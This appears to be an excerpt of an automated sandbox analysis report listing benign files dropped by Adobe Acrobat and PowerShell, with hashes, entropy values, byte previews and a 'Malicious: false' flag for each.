Preview:	{"analyticsData":{"responseGUID":"c3f7a2fd-1e6c-4c74-839c-41716e9dd518","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736727763621,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1416460499426435
Encrypted:	false
SSDEEP:	24:Yvzxa9XPay/DLMdwUq6paIHrKPVKjrj0S+zFQU88gK2R3qO2LSQCIDtRBwReWt5d:YvwX9D4+Uq4w+H8BZa3XGptRyMEn9sE
MD5:	54FCCA442D90825BE2097B35867F86B3
SHA1:	F1B0BB2077C5FBC0550DEB985633D0E6A5728BD8
SHA-256:	5FCE9AC0B399226943217EF22B19C2DE998BD3D64CB4BE7784D5D460EC569FAC
SHA-512:	0723189DB72B35B429561946DA927F12A504C399784931031722A8FABCC668F2F175A190BB284B11495426C43ADCA42FD3709739A296D1E224B7779C7B00EA92
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"0afc19029cfaa6ba47e2f0bb49c3d36d","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736547838000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"c60b7d559309a729f221f439c345c867","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736547837000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"cb7120aed6eefff55889f60302716619","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736547837000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"2489a7ee886b800e72ebfc717bc72012","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736547837000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"e07c13ad84e2924c8a72b85d70ef060d","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736547837000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"d527bc70c3866b37059695eb1265f1e8","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4546348793092994
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dsz2lJA:lNVmsw3SHtbDbPe0K3+fDZdokA
MD5:	8F957D05E95721F2698C516F38267D24
SHA1:	07A039553539658CCDAADDBD6FAE566EE10FA765
SHA-256:	59DB35A3471D8022E7E48617B96F2E69D9ECF5C16192BF965666E15BD2C50464
SHA-512:	7753A09FE825F9E5ACA86D417F63D2F67561BB56AD9EBBD7C224E8745D802B2505D39B701D62D80BD3DD694CB3477A08CD38938EC1CBFBFD1B28F310E91915BA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9558296444027954
Encrypted:	false
SSDEEP:	48:7M8rvrBd6dHtbGIbPe0K3+fDy2dsznrqFl2GL7msM:7N3SHtbDbPe0K3+fDZdorKVmsM
MD5:	A81F0534C700780025EDC4B3CD2C5790
SHA1:	C0583EB63465352F2A759F5CE3C24F24A2DD9D7E
SHA-256:	77C42D92534E67DD40EE3AB2480071446D22D4646139AB9BB822F0A9473DA7B5
SHA-512:	CEF6E6BE909D5A2074B2A47F13175843BFBDF95CF76457AEF24E92A5618030367E3EF9A238B6684A80A5E70835988590EDB80E06CBF78DD8946E0F0539E93DA6
Malicious:	false
Preview:	.... .c.....e.L$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg70gUQ+6cTwx4Xiq/PMcd9JZbSHYyu:6a6TZ44ADE70gUh64wx+1JZuHK
MD5:	DD89A0F813FA97488AC565E94E9DBAA6
SHA1:	F86AD2A301368247092076CBAC1FC7EF02943533
SHA-256:	BD0C0B84D27EA8AC86DAC3BDACC96748384D37A7095C56A6EBC690C8A19120BE
SHA-512:	008A85A885382063576E96C013C1DCA500286E66CFCDB17EE3AB01ACA7EF060728B23DCBC3E6B3EA1C3B75A6DAB8B6C6F2616BD02715367B2C7F2FEDCF308C72
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIa7d56.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5162684137903053
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEN:Qw946cPbiOxDlbYnuRK+bDN
MD5:	8157F65096DB72CDE03FFF8D582B039C
SHA1:	A3DA249AD31AA8A558CD8B2462E8F7A30B61F350
SHA-256:	C98A9B8E7CBC524D93C0A5F76E562CF619632416FD42B7A6AD08A3E7EEBDCBC5
SHA-512:	12D0159741792123537CA5DB3C5376B8D99469181407387309A67A98C324966D7878951D9CB1413E72AB32CC86555845EFF79BF99CCAE76126A8C1BEF9A87C3B
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.7.:.2.3.:.5.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3bxr1r5b.x2o.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_konsll5y.kpd.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A912f089d_1k6rlc1_650.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91mwp6g7_1k6rlc6_650.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 17-23-54-287.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.345793515369538
Encrypted:	false
SSDEEP:	384:BZNslpQm08x0GoHJQZSdD85o4HE+QiKymR/BzLRDZ15xnAp4grn3qBqXCnlvjQwj:KJu
MD5:	2C8932BD0DCA93E57E365270EE84F7EF
SHA1:	D12F89E7941C7F5B05E2EDB155FF264FAEE115E4
SHA-256:	50D402F9ACECC0172F21011AD75955F1338C0449F8BE30E4CFE4C78C9633F1E2
SHA-512:	6C990A3123F1A063A138775DA536848DE257048825994E40E89D0C4A9008CC7CBF84FC23E1436F770DB11D69020BBAA10F0C9F81DEA46ED91DC631DFAE93AE67
Malicious:	false
Preview:	SessionID=79d0813c-3c7c-4f31-b805-9ce523b553dd.1736547834300 Timestamp=2025-01-10T17:23:54:300-0500 ThreadID=1352 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=79d0813c-3c7c-4f31-b805-9ce523b553dd.1736547834300 Timestamp=2025-01-10T17:23:54:313-0500 ThreadID=1352 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=79d0813c-3c7c-4f31-b805-9ce523b553dd.1736547834300 Timestamp=2025-01-10T17:23:54:313-0500 ThreadID=1352 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=79d0813c-3c7c-4f31-b805-9ce523b553dd.1736547834300 Timestamp=2025-01-10T17:23:54:313-0500 ThreadID=1352 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=79d0813c-3c7c-4f31-b805-9ce523b553dd.1736547834300 Timestamp=2025-01-10T17:23:54:313-0500 ThreadID=1352 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.406748916800902
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gRQI:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRp
MD5:	42B5EC0032C0671DB83EB70EC87FB9BB
SHA1:	98AFB13624999AF3E27E47A5F923C64DFE6ED927
SHA-256:	731455A6D6CF194C1573D58111D0C7601F059D3C6DEB48AEE2294A811BE013C4
SHA-512:	4FDFF05022950F6E57FF123D3DA4246982807A3A1D7FE7719D61DFDD7F712EDFCE73519ED52E7AA1CB4DA49318F37C01E91B1A011BD61F9A555AEB6BD8ABC245
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\7cadaea2-9cf7-4df9-82da-12581409e689.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\9cc9f3bc-7374-48e8-a78a-7e2894e71c80.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\abdac250-9f1f-4fb4-abe6-252f7264fd67.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\d7d9ef65-1dd7-4812-9c2f-067a03053b18.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
